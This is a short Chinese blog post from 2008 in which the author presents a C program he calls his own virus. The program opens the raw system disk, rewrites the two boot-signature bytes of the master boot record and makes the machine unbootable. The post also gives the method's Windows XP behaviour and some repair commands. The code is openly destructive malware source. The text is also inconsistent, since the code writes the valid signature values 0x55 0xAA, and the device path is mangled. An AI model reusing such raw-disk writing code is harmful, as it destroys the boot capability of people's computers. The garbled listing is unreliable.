竹枝

自己写的病毒

by anyshpm on May.28, 2008, under 旅程

#include <io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <errno.h>

int main()
{
int hand;
char mbrBuf[512];
char buf[100]={0};

sprintf(buf,”\.PhysicalDrive0“);
hand=open(buf,O_RDWR | O_BINARY,S_IREAD | S_IWRITE);
read(hand,mbrBuf,512);
mbrBuf[510]=0×55;
mbrBuf[511]=0xAA;
lseek(hand,0,SEEK_SET);
write(hand,mbrBuf,512);
close(hand);

return 0;
}
只是小小地破坏了一下主引导区的两个标志字节,结果是,电脑没法启动
大部分代码是从grubinst中学来的
这个程序在xp下可以很正常的运行,而在vista下由于权限不够导致出错

使用debug的int 13可以很方便的恢复那两个字节(0×55 0xAA),或者用fixmbr和fdisk /mbr也应该可以修复

您可能也关注于:


4 Comments for this entry

Leave a Reply

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Blogroll

A few highly recommended websites...